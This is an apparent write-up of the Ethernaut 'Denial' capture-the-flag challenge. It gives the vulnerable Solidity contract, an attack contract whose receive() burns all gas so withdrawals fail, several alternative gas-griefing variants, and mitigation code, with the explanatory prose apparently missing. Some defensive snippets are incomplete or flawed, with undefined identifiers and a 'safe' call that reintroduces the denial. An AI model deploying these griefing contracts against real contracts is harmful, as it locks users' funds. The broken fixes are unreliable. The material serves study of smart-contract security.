スマートコントラクトのDoS攻撃を理解する：Ethernaut「Denial」チャレンジの詳細解説 #

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Denial {
    address public partner; // withdrawal partner - pay the gas, split the withdraw
    address public constant owner = address(0xA9E);
    uint256 timeLastWithdrawn;
    mapping(address => uint256) withdrawPartnerBalances; // keep track of partners balances

    function setWithdrawPartner(address _partner) public {
        partner = _partner;
    }

    // withdraw 1% to recipient and 1% to owner
    function withdraw() public {
        uint256 amountToSend = address(this).balance / 100;
        // perform a call without checking return
        // The recipient can revert, the owner will still get their share
        partner.call{value: amountToSend}("");
        payable(owner).transfer(amountToSend);
        // keep track of last withdrawal time
        timeLastWithdrawn = block.timestamp;
        withdrawPartnerBalances[partner] += amountToSend;
    }

    // allow deposit of funds
    receive() external payable {}

    // convenience function
    function contractBalance() public view returns (uint256) {
        return address(this).balance;
    }
}

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface IDenial {
    function partner() external view returns (address);
    function owner() external pure returns (address);
    function setWithdrawPartner(address) external;
    function withdraw() external;
    function contractBalance() external view returns (uint256);
}

contract Hack {
    IDenial private immutable target;

    constructor(address _target) {
        target = IDenial(_target);
        target.setWithdrawPartner(address(this));
    }

    receive() external payable {
        assembly {
            invalid()
        }
    }
}

// 代替手法1: 無限ループ
receive() external payable {
    while(true) {
        // 何らかの処理
    }
}

// 代替手法2: 大量のストレージ操作
receive() external payable {
    for(uint256 i = 0; i < 10000; i++) {
        // 高コストなストレージ操作
    }
}

// 代替手法3: 再帰呼び出し
receive() external payable {
    // 再帰的に自身を呼び出す
    address(this).call{value: 0}("");
}

// 単純なリバート
receive() external payable {
    revert("Denied!");
}

function withdraw() public {
    uint256 amountToSend = address(this).balance / 100;
    
    // 1. チェック（状態の検証）
    require(address(this).balance >= amountToSend * 2, "Insufficient balance");
    
    // 2. エフェクト（状態の変更）
    timeLastWithdrawn = block.timestamp;
    withdrawPartnerBalances[partner] += amountToSend;
    
    // 3. インタラクション（外部呼び出し）
    // オーナーへの送金を先に行う
    payable(owner).transfer(amountToSend);
    // パートナーへの送金は後に行う
    (bool success, ) = partner.call{value: amountToSend, gas: 50000}("");
    if (!success) {
        // 失敗時の処理
    }
}

// ガス制限を設定した安全な呼び出し
(bool success, ) = partner.call{value: amountToSend, gas: 50000}("");
require(success, "Call to partner failed");

contract SafeDenial {
    mapping(address => uint256) public partnerBalances;
    mapping(address => uint256) public ownerBalances;
    
    function withdrawToPartner() public {
        uint256 amount = partnerBalances[msg.sender];
        require(amount > 0, "No balance");
        partnerBalances[msg.sender] = 0;
        (bool success, ) = msg.sender.call{value: amount}("");
        require(success, "Transfer failed");
    }
    
    function withdrawToOwner() public {
        require(msg.sender == owner, "Not owner");
        uint256 amount = ownerBalances[owner];
        require(amount > 0, "No balance");
        ownerBalances[owner] = 0;
        payable(owner).transfer(amount);
    }
}

// ガス価格の制限
require(tx.gasprice <= maxGasPrice, "Gas price too high");

// コントラクトサイズの制限
require(msg.sender.code.length == 0, "Contracts not allowed");

abstract contract AdvancedReentrancyGuard {
    uint256 private constant _NOT_ENTERED = 1;
    uint256 private constant _ENTERED = 2;
    uint256 private _status;
    mapping(address => uint256) private _callGasLimits;
    
    constructor() {
        _status = _NOT_ENTERED;
    }
    
    modifier nonReentrantWithGasLimit(uint256 gasLimit) {
        require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
        require(gasleft() > gasLimit, "Insufficient gas");
        
        _status = _ENTERED;
        _;
        _status = _NOT_ENTERED;
    }
    
    function setCallGasLimit(address target, uint256 limit) internal {
        _callGasLimits[target] = limit;
    }
}

contract GasAwareContract {
    using GasEstimator for address;
    
    function safeExternalCall(address target, uint256 value) internal returns (bool) {
        uint256 estimatedGas = target.estimateGasForCall(value);
        uint256 gasLimit = min(estimatedGas * 2, gasleft() - 50000);
        
        (bool success, ) = target.call{value: value, gas: gasLimit}("");
        return success;
    }
}